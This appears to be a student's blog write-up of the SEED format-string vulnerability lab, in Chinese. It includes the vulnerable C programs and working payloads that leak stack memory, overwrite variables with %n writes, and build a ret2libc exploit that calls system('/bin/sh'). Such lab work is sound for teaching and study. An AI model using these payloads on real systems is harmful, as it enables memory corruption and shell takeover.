[ 信息系统安全实验1 ] 软件安全:格式化字符串漏洞实验

1.软件安全:格式化字符串漏洞实验

1.1 实验目的

  • 在缓冲区溢出漏洞利用基础上,理解如何进行格式化字符串漏洞利用。
  • C语言中的printf()函数用于根据格式打印出字符串,使用由printf()函数的%字符标记的占位符,在打印期间填充数据。格式化字符串的使用不仅限于printf()函数;其他函数,例如sprintf()、fprintf() 和scanf(),也使用格式字符串。 某些程序允许用户以格式字符串提供全部或部分内容
  • 本实验的目的是利用格式化字符串漏洞,实施以下攻击
    1. 程序崩溃
    2. 读取程序内存
    3. 修改程序内存
    4. 恶意代码注入和执行。

1.2 实验环境

Ubuntu 16.04 LTS 32 位(SEED 1604)的 VMware 虚拟机

1.3 实验内容1 prog1

(1)改变程序的内存数据:将变量 var 的值,从 0x11223344 变成 0x66887799

(2) 改变程序的内存数据:将变量 var 的值,从 0x11223344 变成 0xdeadbeef

​ a) 后半部分数据小于前半部分数据;

​ b) 为避免print大量字符,可以将数据分成4个部分分别写入(使用 %hhn)

注意:以上任务,需要关闭 ASLR

#include <stdio.h>
void fmtstr()
{
    char input[100];
    int var = 0x11223344;   
    
    /* print out information for experiment purpose */
    printf("Target address: %x\n", (unsigned) &var);
    printf("Data at target address: 0x%x\n", var);
    
    printf("Please enter a string: ");
    fgets(input, sizeof(input)-1, stdin);
    
    printf(input);
    
    printf("Data at target address: 0x%x\n",var);
}
void main() { fmtstr(); }

1.3.1 环境配置

关闭ASLR sudo sysctl -w kernel.randomize_va_space=0

开启栈可执行 gcc -z execstack -o prog1 prog1.c

1.3.2 程序崩溃

输入:%s

解释:访问的字符串地址超出当前堆栈段时,非法访问导致崩溃。
在这里插入图片描述

1.3.3 读取程序内存

输入:%08x | %08x | %08x | %08x | %08x | %08x

解释:由于只有format串,所以从堆栈中选择参数打印内容,进而泄露内存信息。
在这里插入图片描述

1.3.4 修改程序内存1

改变程序的内存数据:将变量 var 的值,从 0x11223344 变成 0x66887799;

输入:

$ echo -e "\xb7\xec\xff\xbf@@@@\xb5\xec\xff\xbf@@@@\xb6\xec\xff\xbf@@@@\xb4\xec\xff\xbf%.8x%.8x%.8x%.8x%.42x%hhn%.17x%hhn%.17x%hhn%.17x%hhn" > input
$ ./prog1 < input

解释:4 * 4 + 4 * 3 + 4 * 8 = 28 + 32 = 60

66h - 60 = 42

77h - 66h= 17

88h - 77h= 17

99h - 88h= 17

%hhn是以字节修改的方法,所以我们在前方地址字符串上先按数字大小排好该填的地址

比如填写的顺序是66 77 88 99,其对应的地址是\xb7 \xb5 \xb6 \xb4

之后依次计算字符长度即可。
在这里插入图片描述

1.3.5 修改程序内存2

改变程序的内存数据:将变量 var 的值,从 0x11223344 变成 0xdeadbeef;

输入:

$ echo -e "\xb6\xec\xff\xbf@@@@\xb5\xec\xff\xbf@@@@\xb7\xec\xff\xbf@@@@\xb4\xec\xff\xbf%.8x%.8x%.8x%.8x%.113x%hhn%.17x%hhn%.32x%hhn%.17x%hhn" > input
$ ./prog1 < input

解释:4 * 4 + 4 * 3 + 4 * 8 = 28 + 32 = 60

adh - 60 = 113

beh - adh = 17

deh - beh = 32

efh - deh = 17

同上理%hhn是以字节修改的方法,所以我们在前方地址字符串上先按数字大小拍好该填的地址即可

\xb6 \xb5 \xb7 \xb4

在这里插入图片描述

1.4 实验内容2 prog2

(1)开启 Stack Guard 保护,并开启栈不可执行保护,通过 ret2lib 进行利用,获得shell (可以通过调用 system(“/bin/sh”))

(2)尝试设置 setuid root,观察是否可以获得root shell

(3)提示:需要查找 ret2lic 中的 system 函数和“/bin/sh”地址:

#include <stdio.h>

void fmtstr(char* str)
{
    unsigned int *framep;
    unsigned int *ret;
    //copy ebp into framep
    asm("movl %%ebp, %0" : "=r" (framep));
    ret = framep + 1;
   
    /* print out information for experiment purpose */
    printf("The address of the input array: 0x%.8x\n", (unsigned)str);
    printf("The value of the frame pointer: 0x%.8x\n", (unsigned)framep);
    printf("The value of the return address(before): 0x%.8x\n", *ret);

    printf(str); 

    printf("\nThe value of the return address(after): 0x%.8x\n", *ret);
}

int main() 
{ 
    FILE *badfile;    
    char str[200];

    badfile = fopen("badfile", "rb");
    fread(str, sizeof(char), 200, badfile);
    fmtstr(str);
    return 1; 
}

1.4.1 环境配置

开启stack Guard但栈不可执行 $ gcc -fstack-protector -z noexecstack -o prog2 prog2.c

1.4.2 通过libc的基地址和内部函数的相对偏移获得ret2libc的函数地址

寻找system和bin/sh相对lib偏移

$ ldd prog2

在这里插入图片描述

libc lib的path: /lib/i386-linux-gnu/libc.so.6

基址:0xb7d8e000

$ readelf -a /lib/i386-linux-gnu/libc.so.6 | grep " system"

$ ROPgadget --binary /lib/i386-linux-gnu/libc.so.6 --string /bin/sh

在这里插入图片描述

system()函数偏移:0x0003ada0

字符串"/bin/sh"偏移:0x0015b82b

计算在prog2中system和bin/sh地址
$ gdb prog2
gdb-peda$ start
gdb-peda$ vmmap

在这里插入图片描述

system()函数偏移:0x0003ada0 + 0xb7d6a000 = 0xb7da4da0

字符串"/bin/sh"偏移:0x0015b82b + 0xb7d6a000 = 0xb7ec582b

寻找ret和system参数位置
$ touch badfile
$ ./prog2

在这里插入图片描述

帧指针内value = ebp

故ret = ebp + 4h = 0xbfffec4c

而通过ret调用system()时是模拟已经将参数压栈后的结果,故参数位置是 ret + 4 + 4 = 0xbfffec54

构造shellcode
$ echo "AAAA|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|" > badfile
$ ./prog2

在这里插入图片描述

字符串首位在16个字后

$ echo -e "\x4c\xec\xff\xbf@@@@\x54\xec\xff\xbf@@@@\x4e\xec\xff\xbf@@@@\x56\xec\xff\xbf%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.19724x%hn%.2699x%hn%.24495x%hn%.18x%hn" > badfile
$ ./prog2

解释:4 * 4 + 4 * 3 + 15 * 8 = 16 + 12 + 120 = 148

4da0h - 148 = 19724

582bh - 4da0h = 2699

b7dah - 582bh = 24495

b7ech - b7dah = 18

\x??\xec\xff\xbf

4da0582bb7dab7ec
\x4c\x54\x4e\x56

在这里插入图片描述

1.4.3 设置setuid root

$ sudo chmod u+s prog2

在这里插入图片描述

$ ./prog2

在这里插入图片描述

无法成功不能获得

1.5 实验内容3 prog3

(1) 打印栈上数据;

(2) 获得 heap 上的 secret 变量的值;

(3) 修改 target 变量成 0xc0ffee00

(4) 上述步骤在首先在关闭ASLR的情况下进行,进一步,可尝试开启 ASLR,观察程序内存地址的变化

format.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/ip.h>

/* Changing this size will change the layout of the stack.
 * Instructors can change this value each year, so students
 * won't be able to use the solutions from the past.
 * Suggested value: between 10 and 400  */
#ifndef BUF_SIZE
#define BUF_SIZE 10
#endif


#if __x86_64__
  unsigned long target = 0x1122334455667788;
#else
  unsigned int  target = 0x11223344;
#endif 

char *secret = "A secret message\n";

void dummy_function(char *str);

void myprintf(char *msg)
{
#if __x86_64__
    unsigned long int *framep;
    // Save the rbp value into framep
    asm("movq %%rbp, %0" : "=r" (framep));
    printf("Frame Pointer (inside myprintf):      0x%.16lx\n", (unsigned long) framep);
    printf("The target variable's value (before): 0x%.16lx\n", target);
#else
    unsigned int *framep;
    // Save the ebp value into framep
    asm("movl %%ebp, %0" : "=r"(framep));
    printf("Frame Pointer (inside myprintf):      0x%.8x\n", (unsigned int) framep);
    printf("The target variable's value (before): 0x%.8x\n",   target);
#endif

    // This line has a format-string vulnerability
    printf(msg);

#if __x86_64__
    printf("The target variable's value (after):  0x%.16lx\n", target);
#else
    printf("The target variable's value (after):  0x%.8x\n",   target);
#endif

}


int main(int argc, char **argv)
{
    char buf[1500];


#if __x86_64__
    printf("The input buffer's address:    0x%.16lx\n", (unsigned long) buf);
    printf("The secret message's address:  0x%.16lx\n", (unsigned long) secret);
    printf("The target variable's address: 0x%.16lx\n", (unsigned long) &target);
#else
    printf("The input buffer's address:    0x%.8x\n",   (unsigned int)  buf);
    printf("The secret message's address:  0x%.8x\n",   (unsigned int)  secret);
    printf("The target variable's address: 0x%.8x\n",   (unsigned int)  &target);
#endif

    printf("Waiting for user input ......\n"); 
    int length = fread(buf, sizeof(char), 1500, stdin);
    printf("Received %d bytes.\n", length);

    dummy_function(buf);
    printf("(^_^)(^_^)  Returned properly (^_^)(^_^)\n");

    return 1;
}

// This function is used to insert a stack frame between main and myprintf.
// The size of the frame can be adjusted at the compilation time. 
// The function itself does not do anything.
void dummy_function(char *str)
{
    char dummy_buffer[BUF_SIZE];
    memset(dummy_buffer, 0, BUF_SIZE);

    myprintf(str);
}

server.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <time.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <signal.h>
#include <sys/wait.h>

#define PROGRAM "format"
#define PORT    9090

int socket_bind(int port);
int server_accept(int listen_fd, struct sockaddr_in *client);
char **generate_random_env();

void main()
{
    int listen_fd;
    struct sockaddr_in  client;

    // Generate a random number
    srand (time(NULL));
    int random_n = rand()%2000; 
   
    // handle signal from child processes
    signal(SIGCHLD, SIG_IGN);

    listen_fd = socket_bind(PORT);
    while (1){
	int socket_fd = server_accept(listen_fd, &client);

        if (socket_fd < 0) {
	    perror("Accept failed");
            exit(EXIT_FAILURE);
        }

	int pid = fork();
        if (pid == 0) {
            // Redirect STDIN to this connection, so it can take input from user
            dup2(socket_fd, STDIN_FILENO);

	    /* Uncomment the following if we want to send the output back to user.
	     * This is useful for remote attacks. 
            int output_fd = socket(AF_INET, SOCK_STREAM, 0);
            client.sin_port = htons(9091);
	    if (!connect(output_fd, (struct sockaddr *)&client, sizeof(struct sockaddr_in))){
               // If the connection is made, redirect the STDOUT to this connection
               dup2(output_fd, STDOUT_FILENO);
	    }
	    */ 

	    // Invoke the program 
	    fprintf(stderr, "Starting %s\n", PROGRAM);
            //execl(PROGRAM, PROGRAM, (char *)NULL);
	    // Using the following to pass an empty environment variable array
            //execle(PROGRAM, PROGRAM, (char *)NULL, NULL);
	    
	    // Using the following to pass a randomly generated environment varraible array.
	    // This is useful to slight randomize the stack's starting point.
            execle(PROGRAM, PROGRAM, (char *)NULL, generate_random_env(random_n));
        }
        else {
            close(socket_fd);
	}
    } 

    close(listen_fd);
}


int socket_bind(int port)
{
    int listen_fd;
    int opt = 1;
    struct sockaddr_in server;

    if ((listen_fd = socket(AF_INET, SOCK_STREAM, 0)) == 0)
    {
        perror("socket failed");
        exit(EXIT_FAILURE);
    }

    if (setsockopt(listen_fd, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt)))
    {
        perror("setsockopt failed");
        exit(EXIT_FAILURE);
    }

    memset((char *) &server, 0, sizeof(server));
    server.sin_family = AF_INET;
    server.sin_addr.s_addr = htonl(INADDR_ANY);
    server.sin_port = htons(port);

    if (bind(listen_fd, (struct sockaddr *) &server, sizeof(server)) < 0)
    {
        perror("bind failed");
        exit(EXIT_FAILURE);
    }

    if (listen(listen_fd, 3) < 0)
    {
        perror("listen failed");
        exit(EXIT_FAILURE);
    }

    return listen_fd;
}

int server_accept(int listen_fd, struct sockaddr_in *client)
{
    int c = sizeof(struct sockaddr_in);

    int socket_fd = accept(listen_fd, (struct sockaddr *)client, (socklen_t *)&c);
    char *ipAddr = inet_ntoa(client->sin_addr);
    printf("Got a connection from %s\n", ipAddr);
    return socket_fd;
}

// Generate environment variables. The length of the environment affects 
// the stack location. This is used to add some randomness to the lab.
char **generate_random_env(int length)
{
    const char *name = "randomstring=";
    char **env;

    env = malloc(2*sizeof(char *));

    env[0] = (char *) malloc((length + strlen(name))*sizeof(char));
    strcpy(env[0], name);
    memset(env[0] + strlen(name), 'A', length -1);
    env[0][length + strlen(name) - 1] = 0;
    env[1] = 0;
    return env;
}

1.5.1 环境配置

关闭ASLRsudo sysctl -w kernel.randomize_va_space=0

查看Makefile(已修改)

FLAGS    = -z execstack 
TARGET   = server format

L = 10

all: $(TARGET)

server: server.c
	gcc -o server server.c

format: format.c
	gcc -DBUF_SIZE=$(L) $(FLAGS) -o $@ format.c

clean:
	rm -f badfile $(TARGET)

$ make

1.5.2 打印栈上数据

$ echo "AAAA|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x" > badfile
$ cat badfile | nc 127.0.0.1 9090

在这里插入图片描述

在这里插入图片描述

secret addr: 0x08048740

tartget addr: 0x0804a02c

1.5.3 获得 heap 上的 secret 变量的值

$ echo -e "\x40\x87\x04\x08|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%s" > badfile
$ cat badfile | nc 127.0.0.1 9090

上题中41414141处在第40个字处开始,构造相应长度的badfile即可

在这里插入图片描述

1.5.4 修改 target 变量成 0xc0ffee00

$ echo -e "\x2e\xa0\x04\x08@@@@\x2c\xa0\x04\x08%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.49091x%hn%.11521x%hn" > badfile
$ cat badfile | nc 127.0.0.1 9090

解释:4 * 2 + 4 + 8 * 38 = 316

c0ffh - 316 = 49091

ee00h - c0ffh = 11521

前文中实现方式一致

在这里插入图片描述

1.5.5 开启ASLR的情况

sudo sysctl -w kernel.randomize_va_space=1

获得同样的结果

在这里插入图片描述

  • 2
    点赞
  • 41
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值